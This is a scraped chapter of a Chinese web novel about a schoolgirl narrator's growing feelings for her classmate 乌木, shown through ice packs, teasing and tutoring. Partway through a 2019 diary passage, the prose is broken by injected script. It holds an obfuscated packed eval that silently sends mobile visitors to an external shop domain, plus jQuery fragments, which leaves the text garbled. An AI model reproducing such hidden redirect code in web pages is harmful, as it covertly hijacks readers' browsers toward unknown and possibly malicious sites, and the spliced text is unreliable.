文趣网 > 都市小说 > 纸页潮声 > 20. 好像是更痛了
    为什么有人关心的时候会觉得疼?这样的苦不是一路吃过来的吗?有什么不习惯?

    眼睛热热的,我感觉有水痕划过。

    “对不起,对不起,陈同学,我是不是弄疼你了?你别哭啊,我,我再轻点儿。”面前的脑袋变得毛茸茸,我看不清乌木的脸,只能听到他很焦急的声,他给我冰敷的动作也开始变得手忙脚乱。

    纸巾沾去眼里潮湿,世界变得更亮更清晰。教室窗明几净,眼前少年的慌乱无措全都划写在玻璃面上,从一边倒映到另一边,我看着雪飘,又一点点模糊了我的小宇宙。

    “乌木,你努力考上南城大学好不好?”我不想离开你。

    一样的两句话,一句说给乌木,一句在心底,我拉住他的手将毛巾和冰棍一起转了方向,“我不疼了,你敷敷自己。”

    慌乱敛起,乌木又变回了那个爱笑无羁像暖阳般的少年,他温柔地撤回手,轻轻地绕过我,选择递给我一颗糖。毛巾和冰棍还继续揉在我头顶,他拒绝我的提议。

    “陈同学,我没忘记过我们的约定,我还要找你讨要一个愿望呢。”

    他温温柔柔地笑起,像秋天风吹麦穗两歧,我和我的心都安稳。

    “真的不疼,我……我很早的时候就习惯了。”

    午间的最后一节是音乐课,同学们一下课就都奔着多媒体教室去了,其他被叫到去开会的同学也陆续走光,整个教室只有我和等我的乌木。在他面前,过去的狼狈变得没那么难以启齿,不需要过多的吞吞吐吐就能示人。

    我轻轻推开他落在我头顶的小臂。

    “陈同学,你心疼我啊?”少年的手停在原地没有被推动,他弯腰低头看我,灵动的小痣晃晃悠悠叩问我心事。

    我不知道要怎么回答这个问题,好像怎么说都显得暧昧,而我和他之间距离这个词有着遥远的距离。

    “不怕疼是好事,可身体没觉得疼不代表身体没问题。还记得吗,之前说过希望你不止快乐,还要平安健康?陈老师,你的智慧不允许被破坏,我的语文还要靠你呢,你总不能这样对学生不负责,我交了束脩的,不可以哦。”乌木随口惯了,他并不在意问题的答案,一条一条向我列举冰敷的重要性。

    我从中得出一个结论,好像我的好朋友对我也有好大一点在意。

    “乌木同学,你在意我。”

    乌木冰敷的动作有停顿,我的角度里他连着神情也愣了一瞬,眼中又是我看不懂的情绪。“当然在意。”他说,“你还欠我一个愿望呢。”

    他的眉眼自信,我很小声回了一句:“你还没考上南城大学呢。”

    “我一定会考上的陈同学,不用担心。”毛巾上润着冬天里不会化开的冰棍,懵懂的光里有什么湿漉漉的,在乌木许下诺言的那个瞬间,我脑子里炸开一句毫不相关的话——同学,我还没看清你单眼皮还是双眼皮。

    认识那么久,我偷偷看过乌木无数次,可除了知道他好看,他的眼睛闪亮亮,感受过他的温柔和活泼,我对他好像什么都不了解,就连那双眼,我也从未好好停下来看过。

    我知道他是双眼皮,可每次对视上,我都会下意识避开。

    好朋友准则里没有这一条。

    避开他眼睛的我不对。

    “乌木,你有没有觉得我哪里不对?”我擅长反思,也习惯如此,冰凉的感觉一点点蔓上来,我确定我奇怪,我想听听我好朋友的看法。

    “怎么,哪里更疼了吗?”毛巾落到桌上,我感觉我的发端被人拨开,小包的位置冷风和呼吸的热气一起到达。乌木有些紧张,他以为是我被碰撞过的后脑勺不舒服。

    诶,我眼睛突然亮了一下。

    我慢悠悠地晃过脑袋趴倒到桌上:“好像是更痛了。”

    乌木整个人紧绷起来。我看着他手上青筋动了一下,凌凌乱乱的。他甚至还嫌教室里的日光太暗特意去开了灯,灯恍然间亮起,我看着他忙忙碌碌以我为中心转来转去,各个角度视察起我头上那个其实已经感觉不到疼痛的意外。

    我没办法看到自己的后脑勺,我就盯着他,视线随他转来转去,直到猝不及防对上他弯腰落下的璀璨星眸:“小学霸,逗我好玩吗?”

    在我不知为何暴露的疑惑脸里,他轻声问我。

    “陈同学,笑得收敛一点好不好,你这样笑,我再假装不知道真的很过分。”

    乌木的手指头软软地戳到我脸蛋,热热凉凉,有些无奈。

    我尴尬地眨眨眼,给脸转开一个自然的弧度埋进桌洞与手的空隙间。啊!怎么会有人在这个时候傻笑?我在脑子里小小地斥责了一下太快暴露的自己。

    ——陈小娩,你知不知道你现在很像一个傻子?

    陈纾讲完了第四五六七八个恶魔版童话故事,她听见我的斥责声将手里假装照本宣科的破本子丢向我。

    ——???

    关她屁事,她好烦!

    不过傻子现在也很烦,我看见小女孩习以为常地捡起本子塞回她手里,也好笑地看着我。她们两个都认为这一刻的我是个傻子。

    我忽然幻想电影故事里的小皮鞭。

    “陈同学?”乌木的漂亮手指和脸在我眼前像可爱的小熊摆钟慢悠悠左右摇晃起,我放弃有些阴暗的想法,犹犹豫豫将沸点不停上涨的脸转向他。

    现在的少年额角尖尖,一元一支的北京老冰棍覆盖在他手的边缘,随着他的动作发出一些细碎的零响。

    “陈同学,你总发呆。”

    少年随意的一句话都比情话动听。

    我想我要完蛋。

    ---------------------------------------

    2019年1月20日星期天晴

    ---------------------------------------

    人生需要一些小而意外的撞击,我与乌木撞过以后我想明白了一件事,我对他的在意不仅仅限在好朋友的维度里。所有小镇里关于朋友关系的书籍注解里没有我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776208|209772||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这样的,友谊的浓度可以很高很高,但不是我这样。

    乌木于我,是什么呢?

    我想不明白。

    “笃笃笃,笃笃”,冷嗖嗖的冬天里,窗台多了一点动听的摇晃,它随着乌木的敲门声提醒我不要胡思乱想。

    自从上次和乌木无意提过有小姑娘敲我家门的事以后,乌木就和我定了一个简单的暗号——笃笃笃,笃笃。

    我喜欢循序渐进,问他为什么不是“笃笃,笃笃笃”,他和我说因为陈同学要在前,我当时没反应过来,直到他解释“笃笃笃,笃笃”的意思是“陈同学,你好”。

    你好,陈同学。

    陈同学,你好。

    好像是下面听起来更熟稔,更贴近好朋友一些。

    老式木门的门把手在乌木来补过课后的冬天多了一个毛茸茸的装饰,摸上去柔柔软软,一点也不会冷冰冰。我照着门后新装的小镜子整理了一下头发,开心地旋开门,准备好做今天的老师。

    “喵呜~”

    门打开,比冷风先灌进来的是小猫的脑袋。小七宝趴在乌木头上,一双琥珀色的大眼睛萌萌盯着我,同我打招呼。

    乌木应该是一边收伞一边上的楼,他还在整理伞的最后一步。

    “陈老师,早上好。”他也同我打招呼,和小蓝猫不一样,他的眼睛笑眯眯的做了两条弯缝,像QQ颜文字里倒过来的月亮上弦。

    “喵~”我冲着想要下地的小蓝猫歪了一下头,按照顺序回问他一个“早”,熟悉地向后撤出距离,给他们留出进门的空间。

    乌木将伞收进背包,看我一眼后自然地进屋。他来得频繁,补课又总是风雨无阻,于是家里多了他的拖鞋,我和他一起在十元小摊上挑选的两双小熊毛拖,一双归我,另一双成了他的专属。蓝色毛配着白色小熊,我们都相信踩过一个冬不成问题。

    他蹲下换鞋。

    看着他和小猫,我记忆往回跑,跑到耳机线模糊留下的那句尾音。

    想你。

    晃晃脑将奇怪冒出的东西抛丢走,我重新看向乌木。

    不知是不是水平线下降,小七宝在他身上左顾右盼猫了几眼,就像确认过安全那样,它鼓着小脸跳下,果断放弃继续窝在帽子里,骄傲地一圈圈巡逻起属于自己的地盘。

    知道它要来,我提前给它备好了粮和水,还在地上铺了一层小绒毯。小七宝巡视到地方,满意地叫唤过几声,赏赐给我一个萌萌眼。

    “陈老师,我准备好了!”乌木在我面前眨眼,他比小猫还兴奋,高高兴兴地举着手,就像小学生一样,鉴于他长得比较帅,也可以说他像饭卡背面的奥特曼。

    三模过去,他的语文分向上提了6分。

    古诗填空和文言文的释义他现在很少丢分,而其他的得分点太过分散,我理不清。

    收集他过往还留存着的语文试卷,以各学期期中、期末的试卷为主,我们找老师一起分析了主要问题——理解没问题,但语感总会造成偏差。

    这很难办。